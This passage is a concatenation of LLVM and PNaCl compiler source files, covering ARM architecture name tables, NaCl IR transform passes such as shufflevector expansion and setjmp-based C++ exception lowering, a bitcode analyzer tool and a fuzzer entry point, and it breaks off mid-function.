ARM_ARCH_NAME("armv6j", ARMV6J, "6J", v6)
ARM_ARCH_NAME("armv6k", ARMV6K, "6K", v6K)
ARM_ARCH_NAME("armv6t2", ARMV6T2, "6T2", v6T2)
ARM_ARCH_NAME("armv6z", ARMV6Z, "6Z", v6KZ)
ARM_ARCH_NAME("armv6zk", ARMV6ZK, "6ZK", v6KZ)
ARM_ARCH_NAME("armv6-m", ARMV6M, "6-M", v6_M)
ARM_ARCH_NAME("armv7", ARMV7, "7", v7)
ARM_ARCH_NAME("armv7-a", ARMV7A, "7-A", v7)
ARM_ARCH_ALIAS("armv7a", ARMV7A)
ARM_ARCH_NAME("armv7-r", ARMV7R, "7-R", v7)
ARM_ARCH_ALIAS("armv7r", ARMV7R)
ARM_ARCH_NAME("armv7-m", ARMV7M, "7-M", v7)
ARM_ARCH_ALIAS("armv7m", ARMV7M)
ARM_ARCH_NAME("armv8-a", ARMV8A, "8-A", v8)
ARM_ARCH_ALIAS("armv8a", ARMV8A)
ARM_ARCH_NAME("armv8.1-a", ARMV8_1A, "8.1-A", v8)
ARM_ARCH_ALIAS("armv8.1a", ARMV8_1A)
ARM_ARCH_NAME("iwmmxt", IWMMXT, "iwmmxt", v5TE)
ARM_ARCH_NAME("iwmmxt2", IWMMXT2, "iwmmxt2", v5TE)
#undef ARM_ARCH_NAME
#undef ARM_ARCH_ALIAS
<file_sep>/lib/Transforms/NaCl/SimplifiedFuncTypeMap.cpp
//===-- SimplifiedFuncTypeMap.cpp - Consistent type remapping----*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "SimplifiedFuncTypeMap.h"
using namespace llvm;
Type *SimplifiedFuncTypeMap::getSimpleType(LLVMContext &Ctx, Type *Ty) {
auto Found = MappedTypes.find(Ty);
if (Found != MappedTypes.end()) {
return Found->second;
}
StructMap Tentatives;
auto Ret = getSimpleAggregateTypeInternal(Ctx, Ty, Tentatives);
assert(Tentatives.size() == 0);
if (!Ty->isStructTy()) {
// Structs are memoized in getSimpleAggregateTypeInternal.
MappedTypes[Ty] = Ret;
}
return Ret;
}
// Transforms any type that could transitively reference a function pointer
// into a simplified type.
// We enter this function trying to determine the mapping of a type. Because
// of how structs are handled (not interned by llvm - see further comments
// below) we may be working with temporary types - types (pointers, for example)
// transitively referencing "tentative" structs. For that reason, we do not
// memoize anything here, except for structs. The latter is so that we avoid
// unnecessary repeated creation of types (pointers, function types, etc),
// as we try to map a given type.
SimplifiedFuncTypeMap::MappingResult
SimplifiedFuncTypeMap::getSimpleAggregateTypeInternal(LLVMContext &Ctx,
Type *Ty,
StructMap &Tentatives) {
// Leverage the map for types we encounter on the way.
auto Found = MappedTypes.find(Ty);
if (Found != MappedTypes.end()) {
return {Found->second, Found->second != Ty};
}
if (auto *OldFnTy = dyn_cast<FunctionType>(Ty)) {
return getSimpleFuncType(Ctx, Tentatives, OldFnTy);
}
if (auto PtrTy = dyn_cast<PointerType>(Ty)) {
auto *ElemTy = PtrTy->getPointerElementType();
auto NewTy = getSimpleAggregateTypeInternal(Ctx, ElemTy, Tentatives);
return {NewTy->getPointerTo(PtrTy->getAddressSpace()), NewTy.isChanged()};
}
if (auto ArrTy = dyn_cast<ArrayType>(Ty)) {
auto NewTy = getSimpleAggregateTypeInternal(
Ctx, ArrTy->getArrayElementType(), Tentatives);
return {ArrayType::get(NewTy, ArrTy->getArrayNumElements()),
NewTy.isChanged()};
}
if (auto VecTy = dyn_cast<VectorType>(Ty)) {
auto NewTy = getSimpleAggregateTypeInternal(
Ctx, VecTy->getVectorElementType(), Tentatives);
return {VectorType::get(NewTy, VecTy->getVectorNumElements()),
NewTy.isChanged()};
}
// LLVM doesn't intern identified structs (the ones with a name). This,
// together with the fact that such structs can be recursive,
// complicates things a bit. We want to make sure that we only change
// "unsimplified" structs (those that somehow reference funcs that
// are not simple).
// We don't want to change "simplified" structs, otherwise converting
// instruction types will become trickier.
if (auto StructTy = dyn_cast<StructType>(Ty)) {
ParamTypeVector ElemTypes;
if (!StructTy->isLiteral()) {
// Literals - struct without a name - cannot be recursive, so we
// don't need to form tentatives.
auto Found = Tentatives.find(StructTy);
// Having a tentative means we are in a recursion trying to map this
// particular struct, so arriving back to it is not a change.
// We will determine if this struct is actually
// changed by checking its other fields.
if (Found != Tentatives.end()) {
return {Found->second, false};
}
// We have never seen this struct, so we start a tentative.
std::string NewName = StructTy->getStructName();
NewName += ".simplified";
StructType *Tentative = StructType::create(Ctx, NewName);
Tentatives[StructTy] = Tentative;
bool Changed = isChangedStruct(Ctx, StructTy, ElemTypes, Tentatives);
Tentatives.erase(StructTy);
// We can now decide the mapping of the struct. We will register it
// early with MappedTypes, to avoid leaking tentatives unnecessarily.
// We are leaking the created struct here, but there is no way to
// correctly delete it.
if (!Changed) {
return {MappedTypes[StructTy] = StructTy, false};
} else {
Tentative->setBody(ElemTypes, StructTy->isPacked());
return {MappedTypes[StructTy] = Tentative, true};
}
} else {
bool Changed = isChangedStruct(Ctx, StructTy, ElemTypes, Tentatives);
if (!Changed) {
return {StructTy, false};
} else {
return {MappedTypes[StructTy] =
StructType::get(Ctx, ElemTypes, StructTy->isPacked()),
Changed};
}
}
}
// Anything else stays the same.
return {Ty, false};
}
bool SimplifiedFuncTypeMap::isChangedStruct(LLVMContext &Ctx,
StructType *StructTy,
ParamTypeVector &ElemTypes,
StructMap &Tentatives) {
bool Changed = false;
unsigned StructElemCount = StructTy->getStructNumElements();
for (unsigned I = 0; I < StructElemCount; I++) {
auto *ElemTy = StructTy->getStructElementType(I);
auto NewElem = getSimpleAggregateTypeInternal(Ctx, ElemTy, Tentatives);
ElemTypes.push_back(NewElem);
Changed |= NewElem.isChanged();
}
return Changed;
}
<file_sep>/lib/Transforms/NaCl/ExpandShuffleVector.cpp
//===- ExpandShuffleVector.cpp - shufflevector to {insert/extract}element -===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Replace all shufflevector instructions by insertelement / extractelement.
// BackendCanonicalize is able to reconstruct the shufflevector.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/BasicBlock.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/Instruction.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/Type.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
class ExpandShuffleVector : public BasicBlockPass {
public:
static char ID; // Pass identification, replacement for typeid
ExpandShuffleVector() : BasicBlockPass(ID), M(0) {
initializeExpandShuffleVectorPass(*PassRegistry::getPassRegistry());
}
using BasicBlockPass::doInitialization;
bool doInitialization(Module &Mod) override {
M = &Mod;
return false; // Unchanged.
}
bool runOnBasicBlock(BasicBlock &BB) override;
private:
const Module *M;
void Expand(ShuffleVectorInst *Shuf, Type *Int32);
};
}
char ExpandShuffleVector::ID = 0;
INITIALIZE_PASS(
ExpandShuffleVector, "expand-shufflevector",
"Expand shufflevector instructions into insertelement and extractelement",
false, false)
void ExpandShuffleVector::Expand(ShuffleVectorInst *Shuf, Type *Int32) {
Value *L = Shuf->getOperand(0);
Value *R = Shuf->getOperand(1);
assert(L->getType() == R->getType());
VectorType *SrcVecTy = cast<VectorType>(L->getType());
VectorType *DstVecTy = Shuf->getType();
Type *ElemTy = DstVecTy->getElementType();
SmallVector<int, 16> Mask = Shuf->getShuffleMask();
unsigned NumSrcElems = SrcVecTy->getNumElements();
unsigned NumDstElems = Mask.size();
// Start with an undefined vector, extract each element from either L
// or R according to the Mask, and insert it into contiguous element
// locations in the result vector.
//
// The sources for shufflevector must have the same type but the
// destination could be a narrower or wider vector with the same
// element type.
Instruction *ExtractLoc = Shuf;
Value *Res = UndefValue::get(DstVecTy);
for (unsigned Elem = 0; Elem != NumDstElems; ++Elem) {
bool IsUndef =
0 > Mask[Elem] || static_cast<unsigned>(Mask[Elem]) >= NumSrcElems * 2;
bool IsL = static_cast<unsigned>(Mask[Elem]) < NumSrcElems;
Value *From = IsL ? L : R;
int Adjustment = IsL ? 0 : NumSrcElems;
Constant *ExtractIdx = ConstantInt::get(Int32, Mask[Elem] - Adjustment);
Constant *InsertIdx = ConstantInt::get(Int32, Elem);
Value *ElemToInsert = IsUndef ? UndefValue::get(ElemTy)
: (Value *)ExtractElementInst::Create(
From, ExtractIdx, "", ExtractLoc);
Res = InsertElementInst::Create(Res, ElemToInsert, InsertIdx, "", Shuf);
if (ExtractLoc == Shuf)
// All the extracts should be added just before the first insert we added.
ExtractLoc = cast<Instruction>(Res);
}
Shuf->replaceAllUsesWith(Res);
Shuf->eraseFromParent();
}
bool ExpandShuffleVector::runOnBasicBlock(BasicBlock &BB) {
Type *Int32 = Type::getInt32Ty(M->getContext());
typedef SmallVector<ShuffleVectorInst *, 8> Instructions;
Instructions Shufs;
for (BasicBlock::iterator BBI = BB.begin(); BBI != BB.end(); ++BBI)
if (ShuffleVectorInst *S = dyn_cast<ShuffleVectorInst>(&*BBI))
Shufs.push_back(S);
for (Instructions::iterator S = Shufs.begin(), E = Shufs.end(); S != E; ++S)
Expand(*S, Int32);
return !Shufs.empty();
}
BasicBlockPass *llvm::createExpandShuffleVectorPass() {
return new ExpandShuffleVector();
}
<file_sep>/include/llvm/Config/SZTargets.def.in
/*===- llvm/Config/SZTargets.def - Subzero Target Architectures -*- C++ -*-===*\
|* *|
|* The LLVM Compiler Infrastructure *|
|* *|
|* This file is distributed under the University of Illinois Open Source *|
|* License. See LICENSE.TXT for details. *|
|* *|
|*===----------------------------------------------------------------------===*|
|* *|
|* This file enumerates all of the target architectures supported by *|
|* this build of Subzero. Clients of this file should define the *|
|* SUBZERO_TARGET macro to be a function-like macro with a single *|
|* parameter (the name of the target); including this file will then *|
|* enumerate all of the targets. *|
|* *|
|* The set of targets supported by LLVM is generated at configuration *|
|* time, at which point this header is generated. Do not modify this *|
|* header directly. *|
|* *|
\*===----------------------------------------------------------------------===*/
#ifndef SUBZERO_TARGET
# error Please define the macro SUBZERO_TARGET(TargetName)
#endif
@SUBZERO_ENUM_TARGETS@
#undef SUBZERO_TARGET
<file_sep>/lib/Bitcode/CMakeLists.txt
add_subdirectory(Reader)
add_subdirectory(Writer)
add_subdirectory(NaCl)
<file_sep>/tools/pnacl-bcanalyzer/pnacl-bcanalyzer.cpp
//===-- pnacl-bcanalyzer.cpp - Bitcode Analyzer -------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This tool is a thin wrapper over NaClBitcodeAnalyzer; see
// NaClBitcodeAnalyzer.h for more details.
//
// Invoke in the following manner:
//
// pnacl-bcanalyzer [options] - Read frozen PNaCl bitcode from stdin
// pnacl-bcanalyzer [options] x.bc - Read frozen PNaCl bitcode from the x.bc
// file
// Run with -help to see supported options.
//
//===----------------------------------------------------------------------===//
#define DEBUG_TYPE "pnacl-bcanalyzer"
#include "llvm/Bitcode/NaCl/NaClBitcodeAnalyzer.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/ManagedStatic.h"
#include "llvm/Support/PrettyStackTrace.h"
#include "llvm/Support/Signals.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
static cl::opt<std::string>
InputFilename(cl::Positional, cl::desc("<input bitcode>"), cl::init("-"));
static cl::opt<bool>
OptDumpRecords(
"dump-records",
cl::desc("Dump contents of records in bitcode, leaving out details, "
"instead of displaying record distributions."),
cl::init(false));
static cl::opt<bool>
OptDumpDetails(
"dump-details",
cl::desc("Include details when dumping contents of records in bitcode."),
cl::init(false));
static cl::opt<unsigned> OpsPerLine(
"operands-per-line",
cl::desc("Number of operands to print per dump line. 0 implies "
"all operands will be printed on the same line (default)"),
cl::init(0));
static cl::opt<bool> OrderBlocksByID(
"order-blocks-by-id",
cl::desc("Print blocks statistics based on block id rather than size"),
cl::init(false));
int main(int argc, char **argv) {
// Print a stack trace if we signal out.
sys::PrintStackTraceOnErrorSignal();
PrettyStackTraceProgram X(argc, argv);
llvm_shutdown_obj Y; // Call llvm_shutdown() on exit.
cl::ParseCommandLineOptions(argc, argv, "pnacl-bcanalyzer file analyzer\n");
if (OptDumpDetails && !OptDumpRecords) {
errs() << "Can't dump details unless records are dumped!\n";
return 1;
}
AnalysisDumpOptions DumpOptions;
DumpOptions.DumpRecords = OptDumpRecords;
DumpOptions.DumpDetails = OptDumpDetails;
DumpOptions.OpsPerLine = OpsPerLine;
DumpOptions.OrderBlocksByID = OrderBlocksByID;
return AnalyzeBitcodeInFile(InputFilename, outs(), DumpOptions);
}
<file_sep>/lib/Transforms/NaCl/RemoveAsmMemory.cpp
//===- RemoveAsmMemory.cpp - Remove ``asm("":::"memory")`` ----------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass removes all instances of ``asm("":::"memory")``.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/Twine.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/InlineAsm.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/InstVisitor.h"
#include "llvm/Pass.h"
#include <string>
using namespace llvm;
namespace {
class RemoveAsmMemory : public FunctionPass {
public:
static char ID; // Pass identification, replacement for typeid
RemoveAsmMemory() : FunctionPass(ID) {
initializeRemoveAsmMemoryPass(*PassRegistry::getPassRegistry());
}
bool runOnFunction(Function &F) override;
};
class AsmDirectivesVisitor : public InstVisitor<AsmDirectivesVisitor> {
public:
AsmDirectivesVisitor() : ModifiedFunction(false) {}
~AsmDirectivesVisitor() {}
bool modifiedFunction() const { return ModifiedFunction; }
/// Only Call Instructions are ever inline assembly directives.
void visitCallInst(CallInst &CI);
private:
bool ModifiedFunction;
AsmDirectivesVisitor(const AsmDirectivesVisitor &) = delete;
AsmDirectivesVisitor &operator=(const AsmDirectivesVisitor &) = delete;
};
}
char RemoveAsmMemory::ID = 0;
INITIALIZE_PASS(RemoveAsmMemory, "remove-asm-memory",
"remove all instances of ``asm(\"\":::\"memory\")``", false,
false)
bool RemoveAsmMemory::runOnFunction(Function &F) {
AsmDirectivesVisitor AV;
AV.visit(F);
return AV.modifiedFunction();
}
void AsmDirectivesVisitor::visitCallInst(CallInst &CI) {
if (!CI.isInlineAsm() ||
!cast<InlineAsm>(CI.getCalledValue())->isAsmMemory())
return;
// In NaCl ``asm("":::"memory")`` always comes in pairs, straddling a
// sequentially consistent fence. Other passes rewrite this fence to
// an equivalent stable NaCl intrinsic, meaning that this assembly can
// be removed.
CI.eraseFromParent();
ModifiedFunction = true;
}
namespace llvm {
FunctionPass *createRemoveAsmMemoryPass() { return new RemoveAsmMemory(); }
}
<file_sep>/lib/Target/ARM/ARMFPUName.h
//===-- ARMFPUName.h - List of the ARM FPU names ----------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_LIB_TARGET_ARM_ARMFPUNAME_H
#define LLVM_LIB_TARGET_ARM_ARMFPUNAME_H
namespace llvm {
namespace ARM {
enum FPUKind {
INVALID_FPU = 0
#define ARM_FPU_NAME(NAME, ID) , ID
#include "ARMFPUName.def"
};
} // namespace ARM
} // namespace llvm
#endif
<file_sep>/lib/Analysis/LibCallSemantics.cpp
//===- LibCallSemantics.cpp - Describe library semantics ------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements interfaces that can be used to describe language
// specific runtime library interfaces (e.g. libc, libm, etc) to LLVM
// optimizers.
//
//===----------------------------------------------------------------------===//
#include "llvm/Analysis/LibCallSemantics.h"
#include "llvm/ADT/StringMap.h"
#include "llvm/ADT/StringSwitch.h"
#include "llvm/IR/Function.h"
using namespace llvm;
/// This impl pointer in ~LibCallInfo is actually a StringMap. This
/// helper does the cast.
static StringMap<const LibCallFunctionInfo*> *getMap(void *Ptr) {
return static_cast<StringMap<const LibCallFunctionInfo*> *>(Ptr);
}
LibCallInfo::~LibCallInfo() {
delete getMap(Impl);
}
const LibCallLocationInfo &LibCallInfo::getLocationInfo(unsigned LocID) const {
// Get location info on the first call.
if (NumLocations == 0)
NumLocations = getLocationInfo(Locations);
assert(LocID < NumLocations && "Invalid location ID!");
return Locations[LocID];
}
/// Return the LibCallFunctionInfo object corresponding to
/// the specified function if we have it. If not, return null.
const LibCallFunctionInfo *
LibCallInfo::getFunctionInfo(const Function *F) const {
StringMap<const LibCallFunctionInfo*> *Map = getMap(Impl);
/// If this is the first time we are querying for this info, lazily construct
/// the StringMap to index it.
if (!Map) {
Impl = Map = new StringMap<const LibCallFunctionInfo*>();
const LibCallFunctionInfo *Array = getFunctionInfoArray();
if (!Array) return nullptr;
// We now have the array of entries. Populate the StringMap.
for (unsigned i = 0; Array[i].Name; ++i)
(*Map)[Array[i].Name] = Array+i;
}
// Look up this function in the string map.
return Map->lookup(F->getName());
}
/// See if the given exception handling personality function is one that we
/// understand. If so, return a description of it; otherwise return Unknown.
EHPersonality llvm::classifyEHPersonality(const Value *Pers) {
const Function *F = dyn_cast<Function>(Pers->stripPointerCasts());
if (!F)
return EHPersonality::Unknown;
return StringSwitch<EHPersonality>(F->getName())
.Case("__gnat_eh_personality", EHPersonality::GNU_Ada)
.Case("__gxx_personality_v0", EHPersonality::GNU_CXX)
.Case("__gcc_personality_v0", EHPersonality::GNU_C)
.Case("__objc_personality_v0", EHPersonality::GNU_ObjC)
.Case("__except_handler3", EHPersonality::MSVC_X86SEH)
.Case("__except_handler4", EHPersonality::MSVC_X86SEH)
.Case("__C_specific_handler", EHPersonality::MSVC_Win64SEH)
.Case("__CxxFrameHandler3", EHPersonality::MSVC_CXX)
.Default(EHPersonality::Unknown);
}
bool llvm::canSimplifyInvokeNoUnwind(const InvokeInst *II) {
const LandingPadInst *LP = II->getLandingPadInst();
EHPersonality Personality = classifyEHPersonality(LP->getPersonalityFn());
// We can't simplify any invokes to nounwind functions if the personality
// function wants to catch asynch exceptions. The nounwind attribute only
// implies that the function does not throw synchronous exceptions.
return !isAsynchronousEHPersonality(Personality);
}
<file_sep>/lib/Fuzzer/FuzzerMain.cpp
//===- FuzzerMain.cpp - main() function and flags -------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// main() and flags.
//===----------------------------------------------------------------------===//
#include "FuzzerInterface.h"
#include "FuzzerInternal.h"
// This function should be defined by the user.
extern "C" void TestOneInput(const uint8_t *Data, size_t Size);
int main(int argc, char **argv) {
return fuzzer::FuzzerDriver(argc, argv, TestOneInput);
}
<file_sep>/lib/Transforms/NaCl/AddPNaClExternalDecls.cpp
//===- AddPNaClExternalDecls.cpp - Add decls for PNaCl external functions -===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass adds function declarations for external functions used by PNaCl.
// These externals are implemented in native libraries and calls to them are
// created as part of the translation process.
//
// Running this pass is a precondition for running ResolvePNaClIntrinsics. They
// are separate because one is a ModulePass and the other is a FunctionPass.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Intrinsics.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/NaClAtomicIntrinsics.h"
#include "llvm/IR/Type.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
// This is a module pass because it adds declarations to the module.
class AddPNaClExternalDecls : public ModulePass {
public:
static char ID;
AddPNaClExternalDecls() : ModulePass(ID) {
initializeAddPNaClExternalDeclsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
}
bool AddPNaClExternalDecls::runOnModule(Module &M) {
// Add declarations for a pre-defined set of external functions to the module.
// The function names must match the functions implemented in native code (in
// pnacl/support). The function types must match the types of the LLVM
// intrinsics.
// We expect these declarations not to exist in the module before this pass
// runs, but don't assert it; it will be handled by the ABI verifier.
LLVMContext &C = M.getContext();
M.getOrInsertFunction("setjmp",
// return type
Type::getInt32Ty(C),
// arguments
Type::getInt8Ty(C)->getPointerTo(),
NULL);
M.getOrInsertFunction("longjmp",
// return type
Type::getVoidTy(C),
// arguments
Type::getInt8Ty(C)->getPointerTo(),
Type::getInt32Ty(C),
NULL);
// Add Intrinsic declarations needed by ResolvePNaClIntrinsics up front.
Intrinsic::getDeclaration(&M, Intrinsic::nacl_setjmp);
Intrinsic::getDeclaration(&M, Intrinsic::nacl_longjmp);
NaCl::AtomicIntrinsics AI(C);
NaCl::AtomicIntrinsics::View V = AI.allIntrinsicsAndOverloads();
for (NaCl::AtomicIntrinsics::View::iterator I = V.begin(), E = V.end();
I != E; ++I) {
I->getDeclaration(&M);
}
Intrinsic::getDeclaration(&M, Intrinsic::nacl_atomic_is_lock_free);
return true;
}
char AddPNaClExternalDecls::ID = 0;
INITIALIZE_PASS(AddPNaClExternalDecls, "add-pnacl-external-decls",
"Add declarations of external functions used by PNaCl",
false, false)
ModulePass *llvm::createAddPNaClExternalDeclsPass() {
return new AddPNaClExternalDecls();
}
<file_sep>/lib/Transforms/NaCl/PNaClSjLjEH.cpp
//===- PNaClSjLjEH.cpp - Lower C++ exception handling to use setjmp()------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// The PNaClSjLjEH pass is part of an implementation of C++ exception
// handling for PNaCl that uses setjmp() and longjmp() to handle C++
// exceptions. The pass lowers LLVM "invoke" instructions to use
// setjmp().
//
// For example, consider the following C++ code fragment:
//
// int catcher_func() {
// try {
// int result = external_func();
// return result + 100;
// } catch (MyException &exc) {
// return exc.value + 200;
// }
// }
//
// PNaClSjLjEH converts the IR for that function to the following
// pseudo-code:
//
// struct LandingPadResult {
// void *exception_obj; // For passing to __cxa_begin_catch()
// int matched_clause_id; // See ExceptionInfoWriter.cpp
// };
//
// struct ExceptionFrame {
// union {
// jmp_buf jmpbuf; // Context for jumping to landingpad block
// struct LandingPadResult result; // Data returned to landingpad block
// };
// struct ExceptionFrame *next; // Next frame in linked list
// int clause_list_id; // Reference to landingpad's exception info
// };
//
// // Thread-local exception state
// __thread struct ExceptionFrame *__pnacl_eh_stack;
//
// int catcher_func() {
// struct ExceptionFrame frame;
// frame.next = __pnacl_eh_stack;
// frame.clause_list_id = 123;
// __pnacl_eh_stack = &frame; // Add frame to stack
// int result;
// if (!catcher_func_setjmp_caller(external_func, &frame.jmpbuf, &result)) {
// __pnacl_eh_stack = frame.next; // Remove frame from stack
// return result + 100;
// } else {
// // Handle exception. This is a simplification. Real code would
// // call __cxa_begin_catch() to extract the thrown object.
// MyException &exc = *(MyException *) frame.result.exception_obj;
// return exc.value + 200;
// }
// }
//
// // Helper function
// static int catcher_func_setjmp_caller(int (*func)(void), jmp_buf jmpbuf,
// int *result) {
// if (!setjmp(jmpbuf)) {
// *result = func();
// return 0;
// }
// return 1;
// }
//
// We use a helper function so that setjmp() is not called directly
// from catcher_func(), due to a quirk of how setjmp() and longjmp()
// are specified in C.
//
// func() might modify variables (allocas) that are local to
// catcher_func() (if the variables' addresses are taken). The C
// standard says that these variables' values would become undefined
// after longjmp() returned if setjmp() were called from
// catcher_func(). Specifically, LLVM's GVN pass can optimize away
// stores to allocas between setjmp() and longjmp() (see
// pnacl-sjlj-eh-bug.ll for an example). But this only applies to
// allocas inside the caller of setjmp(), not to allocas inside the
// caller of the caller of setjmp(), so doing the setjmp() call inside
// a helper function that catcher_func() calls avoids the problem.
//
// The pass makes the following changes to IR:
//
// * Convert "invoke" and "landingpad" instructions.
// * Convert "resume" instructions into __pnacl_eh_resume() calls.
// * Replace each call to llvm.eh.typeid.for() with an integer
// constant representing the exception type.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/DenseMap.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Intrinsics.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
#include "ExceptionInfoWriter.h"
using namespace llvm;
namespace {
// This is a ModulePass so that it can introduce new global variables.
class PNaClSjLjEH : public ModulePass {
public:
static char ID; // Pass identification, replacement for typeid
PNaClSjLjEH() : ModulePass(ID) {
initializePNaClSjLjEHPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnModule(Module &M);
};
class FuncRewriter {
Type *ExceptionFrameTy;
ExceptionInfoWriter *ExcInfoWriter;
Function *Func;
// FrameInitialized indicates whether the following variables have
// been initialized.
bool FrameInitialized;
Function *SetjmpIntrinsic; // setjmp() intrinsic function
Instruction *EHStackTlsVar; // Bitcast of thread-local __pnacl_eh_stack var
Instruction *Frame; // Frame allocated for this function
Instruction *FrameJmpBuf; // Frame's jmp_buf field
Instruction *FrameNextPtr; // Frame's next field
Instruction *FrameExcInfo; // Frame's clause_list_id field
Function *EHResumeFunc; // __pnacl_eh_resume() function
// Initialize values that are shared across all "invoke"
// instructions within the function.
void initializeFrame();
public:
FuncRewriter(Type *ExceptionFrameTy, ExceptionInfoWriter *ExcInfoWriter,
Function *Func):
ExceptionFrameTy(ExceptionFrameTy),
ExcInfoWriter(ExcInfoWriter),
Func(Func),
FrameInitialized(false),
SetjmpIntrinsic(NULL), EHStackTlsVar(NULL),
Frame(NULL), FrameJmpBuf(NULL), FrameNextPtr(NULL), FrameExcInfo(NULL),
EHResumeFunc(NULL) {}
Value *createSetjmpWrappedCall(InvokeInst *Invoke);
void expandInvokeInst(InvokeInst *Invoke);
void expandResumeInst(ResumeInst *Resume);
void expandFunc();
};
}
static cl::opt<bool>
AllowUndefEhFuncs("allow-undef-pnacl-eh",
cl::desc("Allow required EH symbols, like `__pnacl_eh_resume`, "
"to be undefined"),
cl::init(false), cl::Hidden);
char PNaClSjLjEH::ID = 0;
INITIALIZE_PASS(PNaClSjLjEH, "pnacl-sjlj-eh",
"Lower C++ exception handling to use setjmp()",
false, false)
static const int kPNaClJmpBufSize = 1024;
static const int kPNaClJmpBufAlign = 8;
void FuncRewriter::initializeFrame() {
if (FrameInitialized)
return;
FrameInitialized = true;
Module *M = Func->getParent();
SetjmpIntrinsic = Intrinsic::getDeclaration(M, Intrinsic::nacl_setjmp);
Value *EHStackTlsVarUncast = M->getGlobalVariable("__pnacl_eh_stack");
if (!EHStackTlsVarUncast) {
if (!AllowUndefEhFuncs) {
report_fatal_error("__pnacl_eh_stack not defined");
} else {
EHStackTlsVarUncast =
M->getOrInsertGlobal("__pnacl_eh_stack",
ExceptionFrameTy->getPointerTo());
}
}
EHStackTlsVar = new BitCastInst(
EHStackTlsVarUncast, ExceptionFrameTy->getPointerTo()->getPointerTo(),
"pnacl_eh_stack");
Func->getEntryBlock().getInstList().push_front(EHStackTlsVar);
// Allocate the new exception frame. This is reused across all
// invoke instructions in the function.
Type *I32 = Type::getInt32Ty(M->getContext());
Frame = new AllocaInst(ExceptionFrameTy, ConstantInt::get(I32, 1),
kPNaClJmpBufAlign, "invoke_frame");
Func->getEntryBlock().getInstList().push_front(Frame);
// Calculate addresses of fields in the exception frame.
Value *JmpBufIndexes[] = { ConstantInt::get(I32, 0),
ConstantInt::get(I32, 0),
ConstantInt::get(I32, 0) };
FrameJmpBuf = GetElementPtrInst::Create(
ExceptionFrameTy, Frame, JmpBufIndexes, "invoke_jmp_buf");
FrameJmpBuf->insertAfter(Frame);
Value *NextPtrIndexes[] = { ConstantInt::get(I32, 0),
ConstantInt::get(I32, 1) };
FrameNextPtr = GetElementPtrInst::Create(
ExceptionFrameTy, Frame, NextPtrIndexes, "invoke_next");
FrameNextPtr->insertAfter(Frame);
Value *ExcInfoIndexes[] = { ConstantInt::get(I32, 0),
ConstantInt::get(I32, 2) };
FrameExcInfo = GetElementPtrInst::Create(
ExceptionFrameTy, Frame, ExcInfoIndexes, "exc_info_ptr");
FrameExcInfo->insertAfter(Frame);
}
// Creates the helper function that will do the setjmp() call and
// function call for implementing Invoke. Creates the call to the
// helper function. Returns a Value which is zero on the normal
// execution path and non-zero if the landingpad block should be
// entered.
Value *FuncRewriter::createSetjmpWrappedCall(InvokeInst *Invoke) {
Type *I32 = Type::getInt32Ty(Func->getContext());
// Allocate space for storing the invoke's result temporarily (so
// that the helper function can return multiple values). We don't
// need to do this if the result is unused, and we can't if its type
// is void.
Instruction *ResultAlloca = NULL;
if (!Invoke->use_empty()) {
ResultAlloca = new AllocaInst(Invoke->getType(), "invoke_result_ptr");
Func->getEntryBlock().getInstList().push_front(ResultAlloca);
}
// Create type for the helper function.
SmallVector<Type *, 10> ArgTypes;
for (unsigned I = 0, E = Invoke->getNumArgOperands(); I < E; ++I)
ArgTypes.push_back(Invoke->getArgOperand(I)->getType());
ArgTypes.push_back(Invoke->getCalledValue()->getType());
ArgTypes.push_back(FrameJmpBuf->getType());
if (ResultAlloca)
ArgTypes.push_back(Invoke->getType()->getPointerTo());
FunctionType *FTy = FunctionType::get(I32, ArgTypes, false);
// Create the helper function.
Function *HelperFunc = Function::Create(
FTy, GlobalValue::InternalLinkage, Func->getName() + "_setjmp_caller");
